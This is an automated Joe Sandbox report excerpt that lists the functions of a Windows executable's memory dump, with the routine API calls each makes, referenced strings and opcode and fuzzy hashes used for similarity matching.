Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Window$ForegroundPixelRelease
String ID:
API String ID: 4156661090-0
Opcode ID: 3d5ec06e6be6a2ec547238e01b0d41292d55be7854571635f366bf40965ef50d
Instruction ID: 850208b914a90bea2fc945abd24a45b807ec483a6b797e2048a9e1ebefe1b1ad
Opcode Fuzzy Hash: 3d5ec06e6be6a2ec547238e01b0d41292d55be7854571635f366bf40965ef50d
Instruction Fuzzy Hash: D5216F35600214AFD704EF65D984AAFBBF9EF84740F14806DE85AA7752CB34EC05CB90

Function 00E7CDBD Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00E7CDC6
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00E7CDE9

Part of subcall function 00E73820: RtlAllocateHeap.NTDLL(00000000,?,00F11444,?,00E5FDF5,?,?,00E4A976,00000010,00F11440,00E413FC,?,00E413C6,?,00E41129), ref: 00E73852

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00E7CE0F
_free.LIBCMT ref: 00E7CE22
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00E7CE31

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
String ID:
API String ID: 336800556-0
Opcode ID: 8e211bed2e476e3251588a7bedc831112cb66962ebc9b52ff9bccfb33699438e
Instruction ID: 2bc6deab2bb7af8136acedee3283433536b9666fe269d0baed958d564dc1eb13
Opcode Fuzzy Hash: 8e211bed2e476e3251588a7bedc831112cb66962ebc9b52ff9bccfb33699438e
Instruction Fuzzy Hash: B701D8726026157F272116B76C48C7F6B6DDFC6BA5335912EFA0DF7100DA608D0281B1

Function 00E59639 Relevance: 7.6, APIs: 5, Instructions: 66COMMON

Download Yara Rule

APIs

ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00E59693
SelectObject.GDI32(?,00000000), ref: 00E596A2
BeginPath.GDI32(?), ref: 00E596B9
SelectObject.GDI32(?,00000000), ref: 00E596E2

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: 02d8046ec9496c37e41cfc7a31732ca4a9a44cd749eac77ec1b447dd00859b99
Instruction ID: 96edd93b0ff5e1762962b1063070f3ed5d6b03a05127e4a10152ee35680e4a56
Opcode Fuzzy Hash: 02d8046ec9496c37e41cfc7a31732ca4a9a44cd749eac77ec1b447dd00859b99
Instruction Fuzzy Hash: CD217F7080230AEFDB119F25EC157E97BB9FB0039AF518616F920B61A1D3B4589DEF90

Function 00EA5711 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

_memcmp.LIBVCRUNTIME ref: 00EA5726
_memcmp.LIBVCRUNTIME ref: 00EA5744
_memcmp.LIBVCRUNTIME ref: 00EA5757
_memcmp.LIBVCRUNTIME ref: 00EA576F
_memcmp.LIBVCRUNTIME ref: 00EA5787

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: 4623e1739c9d2d9416b92bf413b6ed4ce56eae1b2a4949f867b583ac571056a9
Instruction ID: 7cd66e6c8aa6c6658acfb82ecf304b474b2c4f2f2ee5da72dfcea1b05c795d9e
Opcode Fuzzy Hash: 4623e1739c9d2d9416b92bf413b6ed4ce56eae1b2a4949f867b583ac571056a9
Instruction Fuzzy Hash: 5E019663681B15FAD21896109D42EFA639CDB263A8B046423FD16BE741F760FD2182A4

Function 00E72DF8 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00E6F2DE,00E73863,00F11444,?,00E5FDF5,?,?,00E4A976,00000010,00F11440,00E413FC,?,00E413C6), ref: 00E72DFD
_free.LIBCMT ref: 00E72E32
_free.LIBCMT ref: 00E72E59
SetLastError.KERNEL32(00000000,00E41129), ref: 00E72E66
SetLastError.KERNEL32(00000000,00E41129), ref: 00E72E6F

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: 286a2a932e646297557da1f03f9c8c0871f9d3ae9e5841b10a81b281411a1d16
Instruction ID: 19c694f109b8a64850f39f713806696a292162cfa5efd4de4476ca35cfdaec15
Opcode Fuzzy Hash: 286a2a932e646297557da1f03f9c8c0871f9d3ae9e5841b10a81b281411a1d16
Instruction Fuzzy Hash: 2D01F4326056017BCA1327357C45D6B2699EBC57A9B34E12DFA2DB22D7EF608C455120

Function 00EA000E Relevance: 7.5, APIs: 5, Instructions: 47stringCOMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32(?,?,?,00000000,?,?,?,-C000001E,00000001,?,00E9FF41,80070057,?,?,?,00EA035E), ref: 00EA002B
ProgIDFromCLSID.OLE32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00E9FF41,80070057,?,?), ref: 00EA0046
lstrcmpiW.KERNEL32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00E9FF41,80070057,?,?), ref: 00EA0054
CoTaskMemFree.OLE32(00000000,?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00E9FF41,80070057,?), ref: 00EA0064
CLSIDFromString.OLE32(?,?,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00E9FF41,80070057,?,?), ref: 00EA0070

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: From$Prog$FreeStringTasklstrcmpi
String ID:
API String ID: 3897988419-0
Opcode ID: 96121ec54e96c2ce0623c10d480e5f7ad02d8d1ccccee6345f4d8435bf5f95ca
Instruction ID: 7444c391303644cf44aa893cc0f81cbe286243414928a68390714c92e92bf72a
Opcode Fuzzy Hash: 96121ec54e96c2ce0623c10d480e5f7ad02d8d1ccccee6345f4d8435bf5f95ca
Instruction Fuzzy Hash: 0E01DF76601205BFDB114F69EC84FAA7BAEEB48391F205525F901FA210D770ED04EBA0

Function 00EAE97B Relevance: 7.5, APIs: 5, Instructions: 47sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?), ref: 00EAE997
QueryPerformanceFrequency.KERNEL32(?), ref: 00EAE9A5
Sleep.KERNEL32(00000000), ref: 00EAE9AD
QueryPerformanceCounter.KERNEL32(?), ref: 00EAE9B7
Sleep.KERNEL32 ref: 00EAE9F3

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: PerformanceQuery$CounterSleep$Frequency
String ID:
API String ID: 2833360925-0
Opcode ID: f9a13e6ec150ada6519e59df6a1252185b470ecd992cbc07d43dc29173e75878
Instruction ID: e3d63f35112c54a2666c8e82089d6d7e4d206e70a9d1a55f17bfa369f46f7330
Opcode Fuzzy Hash: f9a13e6ec150ada6519e59df6a1252185b470ecd992cbc07d43dc29173e75878
Instruction Fuzzy Hash: 59011E31C02629DBCF049BE5E8596DEBBB8FB4E701F101596D502B6251CB30A555C761

Function 00EA10F9 Relevance: 7.5, APIs: 5, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00EA1114
GetLastError.KERNEL32(?,00000000,00000000,?,?,00EA0B9B,?,?,?), ref: 00EA1120
GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,00EA0B9B,?,?,?), ref: 00EA112F
HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,00EA0B9B,?,?,?), ref: 00EA1136
GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00EA114D

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: HeapObjectSecurityUser$AllocErrorLastProcess
String ID:
API String ID: 842720411-0
Opcode ID: 31454a0a9608b3db796ffc5d33f8fc8f3d3ff7ca17912d6e98bb23ef8a9baadf
Instruction ID: 47d7a2c050437b53b17b8c7ff0b2009dba360d369c0c3795d0176d19cc3eef03
Opcode Fuzzy Hash: 31454a0a9608b3db796ffc5d33f8fc8f3d3ff7ca17912d6e98bb23ef8a9baadf
Instruction Fuzzy Hash: 4A016D75102216BFDB114F65EC49A6A3B7EEF8A3A4B200456FA41E7350DA31DC40DA60

Function 00EA0FB4 Relevance: 7.5, APIs: 5, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00EA0FCA
GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00EA0FD6
GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00EA0FE5
HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00EA0FEC
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00EA1002

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: 02ff084c8d1b68331c6aa745fc8bd3d8b14f42a238fe9d2d0555106af9166e73
Instruction ID: 7c77fcc91fead49e183515841903845c7a65768db442f8b3c8d980066b8ca2d7
Opcode Fuzzy Hash: 02ff084c8d1b68331c6aa745fc8bd3d8b14f42a238fe9d2d0555106af9166e73
Instruction Fuzzy Hash: B1F0C235102312EFD7210FA5EC8DF563B6EEF8A7A1F210455F905EB290CA30EC40CA60

Function 00EA1014 Relevance: 7.5, APIs: 5, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00EA102A
GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00EA1036
GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00EA1045
HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00EA104C
GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00EA1062

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: 18516ab73edff971aeb3cb4e5f38c300e2424b85c7d698aa45adb3b07ecd351a
Instruction ID: 46cb90a7561caadf5b62cc306215be335a7b23694a0d98121feeb7d4df6a8802
Opcode Fuzzy Hash: 18516ab73edff971aeb3cb4e5f38c300e2424b85c7d698aa45adb3b07ecd351a
Instruction Fuzzy Hash: 11F0C235102312EFD7211FA5EC48F563B6DEF8A7A1F200455F905EB290CA70E840DA60

Function 00EB030F Relevance: 7.5, APIs: 6, Instructions: 41COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,?,?,?,00EB017D,?,00EB32FC,?,00000001,00E82592,?), ref: 00EB0324
CloseHandle.KERNEL32(?,?,?,?,00EB017D,?,00EB32FC,?,00000001,00E82592,?), ref: 00EB0331
CloseHandle.KERNEL32(?,?,?,?,00EB017D,?,00EB32FC,?,00000001,00E82592,?), ref: 00EB033E
CloseHandle.KERNEL32(?,?,?,?,00EB017D,?,00EB32FC,?,00000001,00E82592,?), ref: 00EB034B
CloseHandle.KERNEL32(?,?,?,?,00EB017D,?,00EB32FC,?,00000001,00E82592,?), ref: 00EB0358
CloseHandle.KERNEL32(?,?,?,?,00EB017D,?,00EB32FC,?,00000001,00E82592,?), ref: 00EB0365

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: f426876a7d5014a6726304705876ebb49322127cf1dce596496e5d73ae446639
Instruction ID: 78392f5885e1dd9961208f84140a4a92bd5d30d7fb00fb11d704c16a696bcd54
Opcode Fuzzy Hash: f426876a7d5014a6726304705876ebb49322127cf1dce596496e5d73ae446639
Instruction Fuzzy Hash: 8F019872801B159FCB30AF66D890857FBF9BF602193159A3FD19662931C7B1B998CE80

Function 00E7D73A Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00E7D752

Part of subcall function 00E729C8: RtlFreeHeap.NTDLL(00000000,00000000,?,00E7D7D1,00000000,00000000,00000000,00000000,?,00E7D7F8,00000000,00000007,00000000,?,00E7DBF5,00000000), ref: 00E729DE
Part of subcall function 00E729C8: GetLastError.KERNEL32(00000000,?,00E7D7D1,00000000,00000000,00000000,00000000,?,00E7D7F8,00000000,00000007,00000000,?,00E7DBF5,00000000,00000000), ref: 00E729F0

_free.LIBCMT ref: 00E7D764
_free.LIBCMT ref: 00E7D776
_free.LIBCMT ref: 00E7D788
_free.LIBCMT ref: 00E7D79A

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 89767dfb9f3cf4f79e66ec8e3085421ecaa4f5182c64b26ebf1a35078788a09f
Instruction ID: 0f2aa021962741d8a21089b66f5c351f36036ac5fd86597201046be43c65df55
Opcode Fuzzy Hash: 89767dfb9f3cf4f79e66ec8e3085421ecaa4f5182c64b26ebf1a35078788a09f
Instruction Fuzzy Hash: 8AF0F4325442086BC615EB78FDC5C167BEDBF84714B98A90AF24DF7541C720FC8057A4

Function 00EA5C44 Relevance: 7.5, APIs: 5, Instructions: 40windowtimeCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003E9), ref: 00EA5C58
GetWindowTextW.USER32(00000000,?,00000100), ref: 00EA5C6F
MessageBeep.USER32(00000000), ref: 00EA5C87
KillTimer.USER32(?,0000040A), ref: 00EA5CA3
EndDialog.USER32(?,00000001), ref: 00EA5CBD

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: BeepDialogItemKillMessageTextTimerWindow
String ID:
API String ID: 3741023627-0
Opcode ID: d483f00ca8cf0c5ac445a47846b6a8425ee444bbd6f56343f898b4005d0b6c11
Instruction ID: 1df7a4f36c46794eb65754a06a7ff6c982cfc70f1d19324ca0702e948f66677f
Opcode Fuzzy Hash: d483f00ca8cf0c5ac445a47846b6a8425ee444bbd6f56343f898b4005d0b6c11
Instruction Fuzzy Hash: 9701DB315007049FEB205B11FD4EFD6B7B8FB05B45F04125AA553750E0D7F0A988CE50

Function 00E722A0 Relevance: 7.5, APIs: 5, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00E722BE

Part of subcall function 00E729C8: RtlFreeHeap.NTDLL(00000000,00000000,?,00E7D7D1,00000000,00000000,00000000,00000000,?,00E7D7F8,00000000,00000007,00000000,?,00E7DBF5,00000000), ref: 00E729DE
Part of subcall function 00E729C8: GetLastError.KERNEL32(00000000,?,00E7D7D1,00000000,00000000,00000000,00000000,?,00E7D7F8,00000000,00000007,00000000,?,00E7DBF5,00000000,00000000), ref: 00E729F0

_free.LIBCMT ref: 00E722D0
_free.LIBCMT ref: 00E722E3
_free.LIBCMT ref: 00E722F4
_free.LIBCMT ref: 00E72305

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 2800826fc0d51c5b41c8c126e872f9fa26adf9201f00b0feb81a1e53bb48c381
Instruction ID: e65591eb819ed53545c59c5401482ce965ab5dac436fccc7917a3d2953c789dc
Opcode Fuzzy Hash: 2800826fc0d51c5b41c8c126e872f9fa26adf9201f00b0feb81a1e53bb48c381
Instruction Fuzzy Hash: 85F030704011588BC712AF64BC028897BE5F758750B07D60EF718E22B1CB750492BBE4

Function 00E595C5 Relevance: 7.5, APIs: 5, Instructions: 29COMMON

Download Yara Rule

APIs

EndPath.GDI32(?), ref: 00E595D4
StrokeAndFillPath.GDI32(?,?,00E971F7,00000000,?,?,?), ref: 00E595F0
SelectObject.GDI32(?,00000000), ref: 00E59603
DeleteObject.GDI32 ref: 00E59616
StrokePath.GDI32(?), ref: 00E59631

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Path$ObjectStroke$DeleteFillSelect
String ID:
API String ID: 2625713937-0
Opcode ID: 6bbf8f66ed69c308f6845e42e128ba2d140a9d3f3db74ebb79ea42ce467da8a2
Instruction ID: b21b9a874611965ea41406fd076b523946a4e7cf33b05fcab4e5a232b6ed61ed
Opcode Fuzzy Hash: 6bbf8f66ed69c308f6845e42e128ba2d140a9d3f3db74ebb79ea42ce467da8a2
Instruction Fuzzy Hash: 2DF01430006209EFDB225F6AED18BE43B61FB003A6F548215FA25690F1C77189ADEF20

Function 00E70F47 Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 389COMMONLIBRARYCODE

Download Yara Rule

APIs

__freea.LIBCMT ref: 00E710F9
__freea.LIBCMT ref: 00E71117

Part of subcall function 00E71537: _free.LIBCMT ref: 00E7154F

Strings

am/pm, xrefs: 00E7117A
a/p, xrefs: 00E711DE

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: __freea$_free
String ID: a/p$am/pm
API String ID: 3432400110-3206640213
Opcode ID: e1239504ff7f474e1f0f45ef7139a7fb6d2dc2386d3d4c32ebddb557d0b1aae2
Instruction ID: 79363974f0a2caa56b8139e7d365087b392a91a3c31ee3966ad40b883119d734
Opcode Fuzzy Hash: e1239504ff7f474e1f0f45ef7139a7fb6d2dc2386d3d4c32ebddb557d0b1aae2
Instruction Fuzzy Hash: C9D13331900346EADB288F6CC885BFAB7B0EF01308F25E199E90DBB651D3359D80DB91

Function 00E75AA9 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 186COMMONLIBRARYCODE

Download Yara Rule

Strings

JO, xrefs: 00E75BA8, 00E75C6C

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID:
String ID: JO
API String ID: 0-1663374661
